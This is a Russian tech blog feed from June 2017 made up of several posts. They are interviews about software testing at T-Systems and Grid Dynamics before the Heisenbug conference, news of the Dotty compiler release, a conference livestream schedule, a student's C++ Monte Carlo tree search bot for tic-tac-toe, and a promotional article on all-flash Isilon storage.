суббота, 3 июня 2017 г.
«Интересная тема для обсуждения — относительность тестового покрытия»: T-Systems о тестировании
На конференции Гейзенбаг, помимо основной программы, будет бонус от компании T-Systems: на её стенде проведёт небольшой мастер-класс сотрудник Герман Варгин, уже знакомый многим тестировщикам по выступлениям на других конференциях (вот даже Google Images всё про него понимает).
А в преддверии Гейзенбага мы решили узнать больше о том, как обстоят дела с тестированием внутри самой компании, и задали вопросы трём её сотрудникам: самому Герману, Андрею Павлову (он также известен своими докладами) и специалисту по внутренним коммуникациям Марии Зерновой.
Мария Зернова
— Да, тестирование очень важно для нашей компании, в Петербурге порядка 50% сотрудников занимаются тестированием разных проектов и сервисов компании. Среди наших проектов (а их в России более 150) есть проекты для BMW, швейцарских железных дорог (SBB), и тестирование осуществляется силами наших команд локально. Кроме того, у нас есть направление, обеспечивающее тестирование интеграции свыше 20 систем Deutsche Telekom. Они составляют единый ландшафт и обеспечивают работоспособность сети крупнейшего телекоммуникационного оператора Deutsche Telekom, нашей материнской компании. А в планах у нас создание центра автоматизации тестирования, который будет оказывать услуги концерну T-Systems по всему миру.
— У T-Systems есть школа Test School — а давно ли она существует? Много ли сейчас в T-Systems сотрудников, попавших в компанию благодаря ней?
— Школа существует с 2011 года. За это время её закончили более 200 человек, и минимум 130 работают в компании на самых разных должностях. Некоторые уже стали преподавателями в новых наборах Test School, некоторые возглавляют команды в роли тест-менеджеров. Сейчас у нас заканчивается юбилейная 25-я школа, а уже в августе стартует новый набор.
Герман Варгин
— Я ведущий эксперт по тестированию в одном из проектов T-Systems. Мы разрабатываем программное обеспечение для наших клиентов в Германии. Дополнительно я веду различные курсы в нашей компании. У меня разработано несколько курсов для сотрудников разного уровня, и иногда я провожу группу для подготовки к ISTQB Advanced экзаменам. У меня несколько сертификатов ISTQB:
- ISTQB Certified Tester, Foundation level (2013)
- ISTQB Certified Tester, Advanced level – Test Analyst (2015)
- ISTQB Certified Tester, Advanced level – Technical Test Analyst (2015)
- ISTQB Certified Tester, Advanced level –Test Manager (2017)
— Как сертификация сказывается при работе в T-Systems? Например, имеет ли для заказчиков значение, чтобы их продукт тестировали сертифицированные специалисты, или им важно только «чтобы багов не было»?
— В T-Systems все очень положительно относятся к сертификации. Более того, любая инициатива по обучению и развитию специалистов всегда поддерживается компанией. Заказчик в проекте, где я работаю, сам является сертифицированным специалистом по тестированию. Поэтому он доверяет коллегам с сертификатами, говорит с ними на одном языке и больше поручает интересных задач, требующих комплексного подхода к решению. Конечно, не во всех проектах такая ситуация. Но я чувствую, что наличие подтверждённых знаний помогает нам открывать разные двери в T-Systems.
— Вы преподаёте в T-Systems Test School — а помогает ли это преподавание в основной работе? Оказывается ли, что сами лучше начинаете понимать что-то важное?
— Интересный вопрос и актуальный для меня. В последнее время я очень много уделяю времени преподаванию в T-Systems. В Test School я веду курс XML для выпускников вузов, которые только начинают свой путь в IT. Наша компания постоянно ищет специалистов, которые свободно говорят по-немецки. Сегодня на рынке таких людей практически не осталось. Поэтому иногда быстрее и легче найти толковых «филологов» с немецким языком и научить их хорошо тестировать. Оказывается, это гораздо проще, чем заставить технаря выучить немецкий язык. Соответственно, в нашей школе я научился буквально на пальцах объяснять людям, что такое XML, веб-сервисы и так далее. Эти навыки общения я часто применяю при работе с нашими клиентами, когда мне надо простым языком объяснить нашим бизнес-партнёрам различные технические детали.
Возвращаясь к основной теме вопроса, сошлюсь на свой курс ISTQB. Когда я подготовил все презентации и разобрал задачи для первой группы, я понял, что готов к экзамену гораздо лучше, чем в тот день, когда сам сдавал его. Поэтому, конечно, помогает. Чем чаще я работаю с теми или иными технологиями, тем лучше это у меня получается, и тем легче и быстрее применять все это в реальных проектных задачах.
— Вы ранее выступали с докладами на разнообразные темы — от перехода проекта к другой команде тестирования, до, наоборот, организации процесса тестирования с нуля. А работа в T-Systems, где много различных заказчиков и проектов, обычно и означает смену разных ситуаций? Или во многих случаях тестировщик подолгу работает над одним полюбившимся проектом?
— Да, подобных случаев хватает. Я знаю коллег в T-Systems, которые уже более 10 лет трудятся в одном проекте над тестированием любимого продукта. Я думаю, здесь все зависит от самого человека и его целей. Сам я работаю в своем текущем проекте уже 5 лет, и у меня до сих пор есть задачи, которые я перенимал у немецких коллег в 2012-м году. При этом я стараюсь вписываться во все дополнительные активности, которые мне предлагает T-Systems. Мои доклады основаны как раз на моём личном опыте, который я получил в T-Systems. Сначала мы выполнили передачу проекта из Германии в Россию. Потом, когда мы завоевали доверие заказчика, тестирование абсолютно новых продуктов он сразу доверил нам. Сейчас наша команда расширяется, количество систем, за которые мы ответственны, увеличивается, и постоянно появляются принципиально новые задачи.
— Можете ли вы как человек с большим опытом тестирования в аутсорсинговой компании сказать, в чём особенности по сравнению с продуктовыми — хоть технические, хоть организационные?
— Моя карьера складывается как раз из аутсорсингового опыта, поэтому о продуктовых могу лишь только предполагать.
В аутсорсинговых компаниях всегда есть множество промежуточных звеньев между теми, кто получает конечный продукт и теми, кто его разрабатывает. Это аналитики, тех. дизайнеры, архитекторы, ряд менеджеров и так далее. Часто бывает так, что разработчики и тестировщики из-за особенностей процесса не могут общаться с конечными клиентами. Разработчики не понимают бизнес, бизнес не интересуется техническими рисками, и так далее. Соответственно, тратится много времени на согласование требований, различные обсуждения, доведения до определённого уровня качества и время до выпуска продукта в релиз увеличивается в разы. Зато качество продуктов всегда остается высоким. Я думаю, что в продуктовых компаниях как раз время является решающим фактором. Если есть идея, как продукт может быть изменён, то быстро принимается решение, стоит это делать или нет. И если да, новая версия идет в продакшен как можно быстрее.
С технической точки зрения я думаю, никакой разницы нет. Я слышал, есть мнение, что продуктовые компании больше «болеют» за свои продукты. Но я с этим не согласен. В T-Systems мы постоянно работаем над тем, чтобы лучше понимать бизнес. Мы стараемся с каждым релизом тестировать все тщательнее, внедрять новые инструменты, увеличивать покрытие. Каждый раз, когда захожу в магазин T-Mobile в Германии, чтобы купить SIM-карту, я испытываю очень тёплые чувства, когда вижу софт, который именно мы тестировали в Санкт-Петербурге.
— На Гейзенбаге вы проведёте на стенде T-Systems мастер-класс — а о чём именно будете там говорить?
— У меня была тема для доклада, связанная с относительностью тестового покрытия. К сожалению, я не успел подать доклад из-за проектной нагрузки и командировки. В моём проекте зарубежные заказчики неожиданно стали неплохо разбираться в тестировании. Они всё качественнее делают ревью наших тест-кейсов и постоянно выдвигают новые требования. Иногда можно увидеть требования в духе «Нужно сделать 100% покрытие функциональных требований». Мы с вами знаем, что абсолютно всё мы проверить не можем. Поэтому к подобным задачам можно подходить по-разному, выполнять разное количество тестов и находить совершенно разные ошибки. По-моему это интересная тема для обсуждения. Мастер-класс продлится минут 15, и на нём мы разберём несколько бизнес-сценариев, напишем тест-кейсы, которые обеспечат максимальное тестовое покрытие этих сценариев.
Андрей Павлов
— В настоящее время я Test Team Lead в проекте TSO Process Test, занимающимся обеспечением качества систем Deutsche Telekom, отвечающих за одно из основных направлений работы концерна — предоставление клиентам услуг скоростного интернета, телефонной связи и цифрового телевидения.
Кроме того, я являюсь главой проекта внутреннего обучения компании, помогающего нашим специалистам постоянно расти и становиться настоящими экспертами в области тестирования.
— А как сказывается то, что у вас есть опыт и тестировщика, и аналитика? Ощущаете ли, что видеть картину с обеих сторон даёт принципиальное преимущество?
— Разумеется, чем больше различных ракурсов, с которых можно посмотреть на ситуацию, тем более широко видно картину в целом. Впрочем, большинство проектов в T-Systems имеют отдельную команду аналитиков, работающих с требованиями и всегда предоставляющих точные и подробные спецификации. Такой подход крайне полезен, поскольку тестирование должно быть максимально независимым от процессов разработки (не только непосредственно программирования продукта, но и от разработки требований): если тестировщик совмещает две роли, он неизбежно теряет часть объективности.
— Помимо этих двух ипостасей, ранее вы были ещё и разработчиком — а этот опыт сейчас насколько сказывается?
— Как и в предыдущем случае, когда знаешь специфику процесса разработки изнутри, это приносит преимущества. Не говоря уже об очевидных возможностях применять white-box техники тестирования, понимать код и иметь возможность его изменять, хотя бы на своём локальном окружении для нахождения дефектов. Это делает более простым процесс коммуникации, важность которого, я думаю, понимает каждый. Общаться всегда проще, когда разработчик понимает, что ему не нужно объяснять на пальцах, как реализована та или иная функциональность, и можно сразу перейти к сути.
То же самое с работой аналитика — когда ты можешь сразу при общении с заказчиком, без дополнительной консультации с разработчиками, объяснить особенности текущей архитектуры. Показать, что интересующую его функциональность будет добавить сложно и дорого. И предложить другие варианты, которые могут заказчика устроить, причём будут просты в реализации и выполнены в принятых на проекте паттернах программирования.
— У вас ранее был доклад о подходе EARS, позволяющем улучшить язык требований — а насколько активно применяете теперь в проектах T-Systems, в которых участвуете?
— В данный момент я не работаю с требованиями, поэтому эту интереснейшую технику не использую, однако, на прошедших с того времени конференциях ко мне подходят слушатели и рассказывают о своем опыте применения EARS, как это помогло им оптимизировать процесс и насколько сократился объём документации при сохранении смысловой наполненности.
— Также вы рассказывали о комбинаторном тестировании в мобильной разработке, упоминая сложности, когда зоопарк Android-устройств ещё и перемножается на количество других параметров. А как в T-Systems выбирают исходный набор смартфонов для тестирования — это всегда зависит от заказчика, или у вас есть стандартный набор моделей, который вы считаете достаточно репрезентативным для большинства случаев?
— Первоначально это, разумеется, зависит от заказчика. От бюджета, который он готов потратить и того качества, которое он хочет получить. Эксперты со стороны тестирования могут предложить определённый набор устройств, исходя, например, из статистики их использования и проинформировать о рисках, которые могут возникнуть, если не тестировать приложение на остальных девайсах. Впрочем, комбинаторное тестирование может использоваться не только для определения набора телефонов и их атрибутов. Сейчас на моём текущем проекте идет обсуждения внедрения этого подхода для, например, определения продуктов, которые мы используем в TSO Process Test, чтобы получить максимальное покрытие опций при минимальном количестве тестов.
Dotty уже на пороге
И вот пару дней назад на гитхабе проекта появился многообещающий коммит от Дмитрия Петрашко (один из ключевых разработчиков dotty), озаглавленный «Start writing release anouncement.», т.е. «Начинаем писать новость о выпуске».
Если вкратце пересказать суть написанного, то
- скоро выходит alpha-версия 0.1.2
- уже реализовано очень многое из обещанного (Intersection Types, Union Types, Trait Parameters, Enumerations, Algebraic Data Types, By-Name Implicits)
- нереализованное (в основном оптимизации) реализуется довольно быстро
- поэтому теперь каждые 6 недель будет выходить новый релиз
- заявляется поддержка Visual Studio Code (зачем-то) и sbt, включая параллельную компиляцию dotty и scala2
Так что радуемся и ждем с нетерпением.
Очень надеемся, что как говорил Дмитрий, так как архитектура компилятора полностью переписана с нуля (в этот раз правильно :-) ), теперь добавление новых фич в язык будет происходить гораздо проще и быстрее (и типо-безопасно с математически доказанной точностью, благодаря DOT-исчислению, которому обязан своим именем новый компилятор).
А медлить нельзя. Конкуренты не дремлют: Kotlin уже стал вторым официальным языком Android. Чем scala пока похвастаться не сможет в первую очередь из-за «scala is too slow», т.е. чрезмерной тормознутости при компиляции и неоптимизированности стандартных библиотек — того, что dotty должен исправить.
Комментарии (0)
Окно в сердце конференции Гейзенбаг 2017 Piter
4 июня 2017 в 10 утра (по московскому времени) мы откроем бесплатную онлайн-трансляцию из главного зала конференции.
Ссылка на онлайн-трансляцию первого трека конференции Гейзенбаг 2017 Piter и краткое описание докладов — под катом.
Смотреть трансляцию
В первом треке конференции, проходящем в главном зале, выступают:
- Ilari Henrik Aegerter — Think Bigger – How to Truly Become World-Class in Testing
- Алексей Виноградов — Как улучшить автотесты: сеанс черной магии
- Алексей Лавренюк — Учимся анализировать результаты нагрузочного тестирования
- Андрей Сатарин — Мойте руки перед едой, или Санитайзеры в тестировании
- Игорь Хрол — Тестирование в мире данных
- Артем Ерошенко — Allure 2: тест-репорты нового поколения
- Николай xpinjection Алименков — Паттерны проектирования в автоматизации тестирования
В перерывах между докладами, когда спикеры и участники на площадке удаляются в дискуссионные зоны для обсуждения нюансов выступлений, обмена полезной информацией и обсуждения актуальных проектов, для зрителей онлайн-трансляции мы готовим репортажи об интересных внесессионных событиях конференции и берем зажигательные интервью у докладчиков и интересных гостей конференции. Если по ходу интервью у вас возникает собственный вопрос — пишите его в Telegram-чат конференции. Вот как это выглядело на JPoint:
Программа первого трека
Этот доклад представляет собой выводы из более чем десятилетия размышлений и наблюдений за тем, что делает тестировщика специалистом мирового уровня. Он о том, что ТЫ можешь сделать для получения большего количества навыков, большего удовлетворения от работы и большей привлекательности для уважаемых тобой компаний мирового класса.
На этой сессии мы не будем отрываться от реальности и обсудим конкретные шаги и идеи, которые вы сможете осуществить незамедлительно. Вы также услышите реальные истории о тестировщиках и о том, как они осуществили эти шаги. Вы сможете выбрать какие-то из предложенных идей и начать воплощать их прямо сегодня.
Этот доклад не о том, чтобы жаловаться, а про конкретные действия, которые помогут вам стать лучшей версией самого себя.
Писать UI-автотесты можно по-разному. Какие приёмы стоит применять профессиональному разработчику, а какие лучше обходить стороной? Где кроется боль в современном автоматизированном тестировании? Алексей продемонстрирует свою позицию на наглядных примерах. Начнём с простого кода и последовательно применим к нему популярные дизайн-паттерны, как-то: PageFactory, LoadableComponents, Single Responsibility Principle и другие.
Мы «обстреляем» демонстрационный web-сервис на Python Tornado, который специально написан так, чтобы проявились проблемы производительности. Алексей покажет, как в отчётах нагрузочных тестов проявляются утечки ресурсов, тяжёлые cron job, плохие алгоритмы и тяжёлые запросы в базы данных. Мы сделаем выводы, поправим узкие места и сравним производительность сервиса «до» и «после».
Как известно, «с большой силой приходит и большая ответственность». С++ – это язык с большой выразительной силой и огромными возможностями. За эти возможности приходится платить потенциальными дефектами, которые отсутствуют в программах на управляемых (managed) языках.
Санитайзеры – замечательные инструменты, которые позволяют находить сложные дефекты в программах на C++. Андрей расскажет об этих инструментах, их возможностях и о том, как их использовать с пользой для своего проекта.
Руководство компаний старается принимать решения не по наитию, а на основе цифр и объективных данных. Как же тестировать работу программного обеспечения, которое эти цифры считает? Если код, обработав данные компании за год, показывает 42% — это правильный ответ, или же там ошибка, и мы должны были получить 43%? На основе практик, наработанных в отделе аналитики компании Toptal, хотелось бы ответить на эти вопросы. BI, ETL, DWH, ML… Если вы знаете, что означают эти аббревиатуры — приходите поговорить о тестировании в мире данных.
Каждому человеку, который сталкивается с автоматизированным тестированием, приходится разбирать результаты тестов. Чем больше ваш проект, тем больше отчётов вам приходится отсматривать. Мир не стоит на месте, релизный цикл ускоряется, некоторые продукты успевают релизиться несколько раз в неделю, а некоторые несколько раз в день.
Allure Framework — популярный инструмент построения отчётов автотестов, упрощающий их анализ. В докладе Артем расскажет про новую версию Allure 2. В ней появилось много нового: окружение, перезапуски и история теста, отображение фикстур, категории ошибок и многое другое. Одной из ключевых особенностей является возможность адаптировать Allure под себя с помощью системы плагинов.
Паттерны проектирования известны в разработке уже много лет. Одни разработчики любят их, другие считают бесполезными. При этом у паттернов проектирования есть очень чёткие задачи: описать типичные решения для типичных проблем, создать общий язык для сообщества, улучшить понимание и переиспользование существующих подходов.
Поскольку у автоматизации тестирования есть свой собственный набор задач, то существует и собственный набор полезных паттернов проектирования для этой области. В докладе Николай пройдётся по всем известным паттернам и подробно опишет их с несколькими практическими примерами.
Ограничения
- Поскольку трансляция бесплатная, она предоставляется по принципу as is: мы уверены, что все будет хорошо, но если вдруг что – не обессудьте!
- Видеозаписей не будет. То есть они, конечно, будут, но только для участников конференции, оставивших фидбек. А для всех остальных мы традиционно выложим их через 3-4 месяца.
- Вы не сможете смотреть, что происходит в других залах. А там будет много интересного. В следующий раз регистрируйтесь и смотрите все без ограничений.
Комментарии (0)
пятница, 2 июня 2017 г.
[Из песочницы] Поиск по дереву методом Монте-Карло и крестики-нолики
Так вышло, что для получение автомата по программированию бедным первокурам задали одну интересную задачу: написать программу, которая ищет по дереву методом Монте-Карло.
Конечно, всё началось с поиска информации в интернете. На великом и могучем русском языке было всего-лишь пара статей с Хабра, словесно объясняющие суть алгоритма, и статья из Википедии, перенаправляющая на проблему игры Го и компьютера. По мне — уже неплохое начало. Гуглю на английском языке для полноты и натыкаюсь на английскую статью с Википедии, в которой алгоритм так же словесно объясняется.
Немного теории
Метод Монте-Карло для поиска по дереву достаточно давно применяется в играх для искусственного интеллекта. Задача алгоритма — выбрать наиболее выигрышный вариант развития событий. Дерево представляет из себя структуру, в которой помимо хода и указателей есть количество сыгранных и количество выигранных партий. На основе этих двух параметров метод выбирает следующий шаг. Следующее изображение наглядно продемонстрирует работу алгоритма:
Шаг 1: Выбор — Selection. На этом шаге алгоритм выбирает ход своего противника. Если такой ход существует — мы его выберем, если нет — добавим.
Шаг 2: Расширение — Expansion. К выбранному узлу с ходом противника мы добавим узел со своим ходом и с нулевыми результатами.
Шаг 3: Симуляция — Simulation. Отыграем партию от текущего состояния игрового поля до чей-либо победы. Отсюда мы возьмём только первый ход (т.е. свой ход) и результаты.
Шаг 4: Обратное распространение — Backpropagation. Результаты из симуляции мы будем распространять от текущего до корня. Ко всем родительским узлам мы добавим единицу в количество сыгранных партий, а если мы наткнёмся на узел победителя — то в такой узел мы добавим единицу в количество выигранных партий.
В результате, бот с таким алгоритмом будет делать выигрышные для него ходы.
Собственно, алгоритм не такой сложный. Скорее, объёмный.
Реализация
Алгоритм я решил реализовать в качестве бота для игры Крестики-нолики. Игра простая и для примера подойдёт отлично. Но дьявол кроется в деталях...
Проблема в том, что мы должны отыграть игру на шаге симуляции без реального игрока. Можно было, конечно, заставить алгоритм делать рандомные ходы в таких симуляциях, но мне хотелось какое-нибудь осмысленное поведение.
Тогда был написан простейший бот, который умел только две вещи — мешать игроку и делать рандомные ходы. Для симуляции этого было более чем достаточно.
Как и все, бот с алгоритмом располагал информацией о текущим состоянием поля, состоянием поля с прошлого хода, своим деревом ходов и текущим выбранным узлом в этом дереве. Начну с того, что я найду новый ход оппонента.
// 0. add node with new move.
bool exist = false;
int enemyx = -1, enemyy = -1;
this->FindNewStep ( __field, enemyx, enemyy );
for ( MCBTreeNode * node : this->mCurrent->Nodes )
{
if ( node->MoveX == enemyx && node->MoveY == enemyy )
{
exist = true;
this->mCurrent = node;
}
}
if ( !exist )
{
MCBTreeNode * enemymove = new MCBTreeNode;
enemymove->Parent = this->mCurrent;
enemymove->MoveX = enemyx;
enemymove->MoveY = enemyy;
enemymove->Player = (this->mFigure == TTT_CROSS) ? TTT_CIRCLE : TTT_CROSS;
this->mCurrent->Nodes.push_back ( enemymove );
this->mCurrent = enemymove;
}
Как видно, если есть такой ход противника в дереве, то мы выберем его. Если нет — добавим.
// 1. selection
// select node with more wins.
MCBTreeNode * bestnode = this->mCurrent;
for ( MCBTreeNode * node : this->mCurrent->Nodes )
{
if ( node->Wins > bestnode->Wins )
bestnode = node;
}
Здесь мы произведем выбор.
// 2. expanding
// create new node.
MCBTreeNode * newnode = new MCBTreeNode;
newnode->Parent = bestnode;
newnode->Player = this->mFigure;
this->mCurrent->Nodes.push_back ( newnode );
Расширим дерево.
// 3. simulation
// simulate game.
TTTGame::Field field;
for ( int y = 0; y < TTT_FIELDSIZE; y++ )
for ( int x = 0; x < TTT_FIELDSIZE; x++ )
field[y][x] = __field[y][x];
Player * bot1 = new Bot ();
bot1->SetFigure ( (this->mFigure == TTT_CROSS) ? TTT_CIRCLE : TTT_CROSS );
Player * bot2 = new Bot ();
bot2->SetFigure ( this->mFigure );
Player * current = bot2;
while ( TTTGame::IsPlayable ( field ) )
{
current->MakeMove ( field );
if ( newnode->MoveX == -1 && newnode->MoveY == -1 )
this->FindNewStep ( field, newnode->MoveX, newnode->MoveY );
if ( current == bot1 )
current = bot2;
else
current = bot1;
}
Сыграем игру между ботами. Думаю, здесь надо немного объясниться: текущее состояние поле копируется и боты доигрывают на этой копии, первым ходит второй бот и его первый ход мы запомним.
// 4. backpropagation.
int winner = TTTGame::CheckWin ( field );
MCBTreeNode * currentnode = newnode;
while ( currentnode != nullptr )
{
currentnode->Attempts++;
if ( currentnode->Player == winner )
currentnode->Wins++;
currentnode = currentnode->Parent;
}
И последнее: получим результат и распространим его вверх по дереву.
// make move...
this->mCurrent = newnode;
TTTGame::MakeMove ( __field, this->mFigure, mCurrent->MoveX, mCurrent->MoveY );
И в конце мы просто делаем ход и текущим узлом ставим наш новый узел из второго шага.
Заключение
Как видно, алгоритм не такой страшный и сложный. Конечно, моя реализация далека от идеала, но суть и некоторое практическое применение она показывает.
Полный код доступен на моём GitHub.
Всем добра.
Комментарии (0)
В преддверии Гейзенбага: Grid Dynamics о тестировании
Как заметить, что для компании важно тестирование? Если компания спонсирует соответствующую конференцию, а её сотрудник выступает там с докладом — значит, важно. В случае с Grid Dynamics и конференцией Гейзенбаг всё обстоит именно так, и перед конференцией мы решили задать вопросы двум сотрудникам компании:
- Евгению Хорохорину, генеральному директору Grid Dynamics в России — о компании в целом
- Илье korobochka Коробицыну, ведущему QA инженеру, который и выступит на конференции — непосредственно о его работе
Евгений Хорохорин
— Мы занимается построением высокотехнологичных масштабируемых решений в области электронной коммерции, финансов и других областях бизнеса. Основные наши направления — построение мультиканальных платформ в электронной коммерции, разработка поиска и персонализации, построение процессов непрерывной интеграции и облачных решений.
Среди наших клиентов — такие компании, как Google, American Eagle, eBay, Microsoft, VMware, PayPal, Yahoo!, Macy’s.
— В каких городах расположены офисы, и насколько они большие? Головной офис у вас в Кремниевой долине — приходится ли российским сотрудникам подстраиваться под время работы в нём?
— Компания была основана в 2006 году, и сейчас у нас уже более семисот человек в шести городах мира. У нас есть офисы в Украине (Харьков и Львов) и в Польше (Краков), а самый большой по численности — в Санкт-Петербурге, там сейчас работают более 250 человек. Также есть еще один офис в России — Саратов (170 человек).
График работы выстраивается с учётом солидной разницы во времени с головным офисом и клиентами в США (-10 часов). У сотрудников максимально гибкий график. Главное для нас — результат. Офис доступен круглосуточно. Тем не менее, необходимо присутствовать на всех рабочих митингах (встречах), не забывать о деловых звонках и выполнять свои задачи в срок.
— А что конкретно с тестированием — можете ли сказать, в каких городах у вас больше людей, связанных с ним, и сколько их именно?
— Самое большое число QA инженеров у нас в Санкт-Петербурге — 54 человека. На втором месте по численности Харьков — 42 человека. Тройку лидеров замыкают Саратов и Менло Парк в США, где численность QA инженеров примерно одинаковая: 24 и 23 человека соответственно. Мы, конечно же, не планируем на этом останавливаться — наша команда в каждой локации активно растёт.
Илья Коробицын
— Во-первых, обычная тестовая автоматизация: написание тестов к сервисам (чаще всего REST) на Java или UI-тестов на JavaScript, тут ничего необычного. Во-вторых, попадаются чуть менее обычные проекты. В-третьих, помогаю коллегам со всякими мелкими задачами, вроде советов по решению каких-то проблем («а как написать вот это одним SQL запросом», «как тут организовать Maven модули», «как лучше вот это написать на JS»), провожу код-ревью. И, наконец, занимаюсь всякими внутренними задачами, провожу собеседования и разрабатываю тесты, которые мы даём для прескрининга кандидатов.
— Слова про «менее обычные проекты» интригуют. Можно пример?
— Ну, например, недавно наш заказчик купил другую компанию, и происходил процесс интеграции. Нужно было перенести информацию о примерно 100 000 клиентов из одной CRM-системы (Client Relationship Management, всякие личные данные вроде дней рождения, имён жены и любимой собаки) в другую, причём это была не просто копия данных один к одному, а ещё происходили некоторые трансформации, фильтрация невалидных данных и прочее. Я написал тесты, которые проверяли, что в процессе переноса ничего не потерялось и не попортилось.
— Правильно ли понимаем, что вы оказываетесь на границе сразу нескольких миров: тестирования и разработки, Java и JavaScript? Каково там живётся? :)
— Да, занимаюсь тестированием, но я и разработчик не в меньшей степени. При написании тестов, например, компонентного уровня, мы интегрируемся со Spring и Hibernate из основного приложения, разбираться во всём этом приходится не хуже разработчиков. Плюс для пресловутых «необычных» задач часто приходится писать что-то новое с нуля, так как нет готовых решений, которые бы подходили конкретно сейчас.
Да и вообще я считаю, что надо хорошо разбираться во всех инструментах, с которыми приходится работать, а также постоянно изучать что-то новое — знания, даже если они не пригодятся вот прямо сразу, всё равно будут полезны. Чем шире кругозор, тем легче видеть знакомые «паттерны» (не в смысле GoF) в незнакомых областях, это сильно помогает быстро решать даже не очень знакомые задачи.
— В случае с DevOps разработчику достаётся всё больше задач администратора — а оказывается ли так, что с автоматизацией тестирования тестировщик всё чаще и чаще оказывается «разработчиком в не меньшей степени»? К чему всё идёт?
— Тестирование — это не только про обеспечение качества, но и про сокращение расходов на разработку и поддержку. Есть задачи, где автоматизация невыгодна (сложно разрабатывать и поддерживать тесты), эти условные 5-10% по прежнему проверяют вручную, и это разумно. В остальном автоматизация отлично вписывается в нынешнее видение процесса разработки: можно быстро прогнать приложение через пайплайн, и разработчик получает фидбек с некой уверенностью в своих изменениях, это помогает быстрее двигаться вперёд. Отдельный тестировщик всегда будет полезен тем, что смотрит на задачу с другой стороны и ему не мешает ментальная модель точной архитектуры приложения, которая накладывает ограничения и не даёт рассмотреть некоторые случаи.
— Ранее в другом докладе вы призывали «заглядывать внутрь» протокола JsonWire. А насколько, по-вашему, важно вообще «лезть внутрь» для автоматизатора тестирования — это резко повышает квалификацию, или просто «nice to have»?
— Абстракции — это прекрасно, и без них мы бы не смогли писать сложные программы. Сейчас даже страшно представить, сколько этих слоёв находится между кремнием и каким-нибудь высокоуровневым фреймворком. Есть вот такая забавная страничка, но там покрыто далеко не всё.
К сожалению, абстракции имеют тенденцию «протекать», и чаще всего это происходит, когда что-то ломается. С одной стороны, хотелось бы про нижние слои не знать и не думать, а с другой — приходится. Вот такие дела. Заглядывание внутрь может помочь понять, какие ограничения накладываются слоями, лежащими снизу, и что там может пойти не так. Что, опять же, поможет быстро разобраться с какой-нибудь «WAT»-проблемой, когда всё выглядит так:
— В последнее всё чаще слышно про Kotlin — а в автоматизации тестирования он даёт о себе знать? Какие JVM-языки используют для тестов в Grid Dynamics?
— Пока что не особо, но мне кажется, что его час настанет. Из JVM-семейства у нас есть Groovy и даже немного Scala (для Gatling-тестов), думаю, и Kotlin найдётся место.
— Есть ли в связи с тестированием какая-то общая мысль, которую хотелось бы донести до сообщества?
— Донести хотелось бы следующее: для разных задач стоит использовать подходящие инструменты, это поможет сэкономить и силы, и время. Именно этим полезен широкий кругозор и способность разбираться в устройстве вещей: даже если не получится применить сам инструмент, можно узнать что-то полезное из того, как он работает. Именно поэтому у нас есть тесты на Java, JS, Groovy, смотря что подходит конкретному проекту.
Разумеется, не стоит впадать в крайности: если какая-то задача небольшая и одноразовая, то может быть быстрее сделать всё руками и забыть.
— К вопросу об инструментах: а есть ли какие-то, которых вам в работе не хватает, или ощущаете, что сейчас все потребности уже покрыты?
— В современной фронтенд-разработке большая часть фреймворков пришла к тому, чтобы собирать интерфейс из отдельных компонентов. Не покидает ощущение, что Page Objects для UI-тестов можно было бы генерировать автоматически из этих компонентов, но подходящего инструмента пока найти не удалось, а написать самому не дошли руки.
— Расскажите вкратце, о чём будете говорить на Гейзенбаге?
— Мой доклад будет интересен в первую очередь тем, кто будет писать UI-тесты для Angular приложений, и тем, кто писал Selenium-тесты на Java или Python, но никогда этого не делал на JavaScript. Мы рассмотрим, почему разработчики Angular решили сделать специальный фреймворк (Protractor) в помощь тестировщикам, и с какими WTF-моментами можно столкнуться, если броситься писать с его помощью тесты, не особо разбираясь в JS (благо язык простой). И в конце будет, на мой взгляд, самое интересное: мы заглянем внутрь Protractor, чтоб понять, как он делает свою магию, и попробуем её перенести в Java-тесты.
Комментарии (0)
All Flash Isilon NAS: масштабируемое хранилище для неструктурированных данных
Флеш-память быстрее жесткого диска, но масштаб ее влияния на экосистему ЦОД еще шире. Благодаря высокой скорости она сокращает время, в течение которого другие элементы экосистемы ожидают ответа от хранилища. Это повышает эффективность работы приложений, серверов и сети передачи данных.
По мнению аналитиков Enterprise Strategy Group, увеличение эффективности работы при той же производительности снижает расходы на ряд компонентов ИТ-экосистемы — серверное оборудование и лицензии на ПО, а также сокращает общую стоимость владения и обслуживания центра обработки данных.
Это делает флеш-память выгодным приобретением даже при высокой цене. Но и фактор цены теряет свою силу: в отрасли прослеживается устойчивая тенденция к снижению стоимости твердотельных накопителей. Флеш-память стала доступнее, и у компаний появилась возможность внедрить новые системы с высокопроизводительным доступом к данным.
В 2016 году флеш-накопители сравнялись по соотношению цена/емкость с 15K HDD корпоративного класса.
У идеи полностью бездискового центра обработки данных появились реальные черты. Если еще недавно твердотельным накопителям отводилась роль инструмента для высокопроизводительных транзакционных рабочих нагрузок, то сегодня удешевление флеш-памяти расширило ее сферу применения до большого спектра задач.
Респонденты исследования ESG, посвященного тенденциям хранения данных, прогнозируют рост продаж систем хранения в ближайшие 24 месяца за счет приложений бизнес-аналитики и аналитики больших данных.
Сегодня тема использования флеш-накопителей в центрах обработки данных — №1 в отрасли. Во-первых, специалисты отмечают тенденцию к постепенной замене традиционных вращающихся дисков (HDD) на твердотельные накопители (SSD). Это помогает компаниям повысить надежность систем хранения и снизить затраты на разных участках их обслуживания. Ведь плотность записи стремительно растет: у новейшей флеш-памяти она в восемь раз выше, чем у недавно выпускавшихся накопителей. Во-вторых, взрывной рост объема данных каждые два года удваивает требования к хранилищу, и 80% этих новых данных не структурированы.
Значение производительности в работе с неструктурированными данными
Обработка неструктурированной информации с помощью бизнес-аналитики или аналитики больших данных в режиме реального времени требует производительности уровня технологии AFA (all-flash array) — массивов, целиком построенных на флеш-памяти. Такие СХД разрабатываются специально под потребности неструктурированных данных.
Сегодня спрос на доступ к неструктурированному контенту с низкой задержкой есть в медиа, индустрии развлечений, автоматизации проектирования (EDA), научных исследованиях и др.
Последний опрос ESG ИТ-руководителей, ответственных за сохранность данных в компаниях, показал, что 49% опрошенных уже используют твердотельную технологию, еще 20% ожидают развертывания флеш-систем в ближайшие 12 месяцев. Большинство респондентов подтвердили, что в результате использования систем на флеш-памяти компании получили эффективную ИТ-экосистему и снизили затраты на эксплуатацию. Другие плюсы твердотельных накопителей, согласно опросу, — повышение эффективности использования ресурсов, сокращение операционных расходов и снижение стоимости владения.
Системы хранения на флеш-памяти повышают производительность приложений и эффективность использования ресурсов. Снижают энергопотребление, сокращают операционные расходы и затраты на оборудование, улучшают параметры SLA и уменьшают ТСО. Источник: опрос ESG.
